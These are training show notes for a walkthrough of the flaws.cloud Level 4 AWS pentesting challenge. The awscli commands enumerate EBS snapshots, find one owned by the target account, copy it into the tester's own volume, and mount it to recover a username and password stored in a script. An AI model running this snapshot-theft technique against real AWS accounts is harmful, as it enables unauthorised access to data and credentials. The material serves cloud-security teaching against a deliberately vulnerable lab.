

- Filename: intro-to-aws-pentesting-3-4-1-flaws-level-4.md
- Show Name: Intro to AWS Pentesting
- Topic Name: Flaws
- Episode Name: Flaws: Level 4

Flaws: Level 4

Objectives:

- Utilize cloud pentesting techniques specific to AWS environments to complete the Flaws Level 4 challenge
- Utilize the awscli to discover and exploit flaws in an EC2 instance to discover sensitive information leading to a breach of an AWS account

-
- We are looking at an EC2 instance (so sayeth the page info)
 - But let's verify that
 - `nslookup 4d0c4...flaws.cloud`
 - Looks like it is an EC2 instance after all
 - So, what do we do with that information?
 - A 'quick' win can be through unencrypted EBS volume snapshots
 - Search for EBS volumes
 - `aws --profile flaws-l3 ec2 describe-volumes --region us-west-2`
 - See the volume info
 - See the volume is unencrypted
 - See the volume has a snapshot
 - Maybe this snapshot has interesting info in it
 - `aws --profile flaws-l3 ec2 describe-snapshots --snapshot-id snap-111222333444 --region us-west-2`
 - Looks like this snapshot has been deleted
 - This is the snapshot that the volume was created from
 - <https://docs.aws.amazon.com/cli/latest/reference/ec2/volumes.html>
 - Maybe there are other snapshots
 - `aws --profile flaws-l3 ec2 describe-snapshots --region us-west-2`
 - Well that's a lot!
 - Let's narrow it down to the snapshots our user has ownership of
 - `aws --profile flaws-l3 sts get-caller-identity`
 - Grab the "Account" info
 - `aws --profile flaws-l3 ec2 describe-snapshots --owner-id 1234567890 --region us-west-2`
 - Bingo!
 - What do we do now that we've found a snapshot?
 - We want to create an EBS volume from the found snapshot and attach it to an EC2 instance we own
 1. Create a EBS volume from the snapshot
 - `aws --profile cloudgoat ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdc89`

2. Create an EC2 instance

- Use the same from snapshot
 - **Region**
 - **Availability Zone**

3. Attach the volume to the instance

- We need some things
 - *VolumeId*
 - `aws --profile cloudgoat ec2 describe-volumes --region us-west-2`
 - *InstanceId*
 - `aws --profile cloudgoat ec2 describe-instances --region us-west-2`
- Attach volume
 - `aws --profile cloudgoat ec2 attach-volume --volume-id vol-1234567890abcdef0 --instance-id i-0a0b0c0d0e0f12345 --device /dev/sdf`

• Now that we have that done, what's next?

◦ Login to our instance and mount the volume

- `ssh -i itprotv-us-west.pem ubuntu@111.222.333.444`
- `lsblk`
- `sudo mount /dev/xvdf1 /mnt`

• And now we search for goodies :)

◦ Find username and password for level4 in script

- Use creds to access level4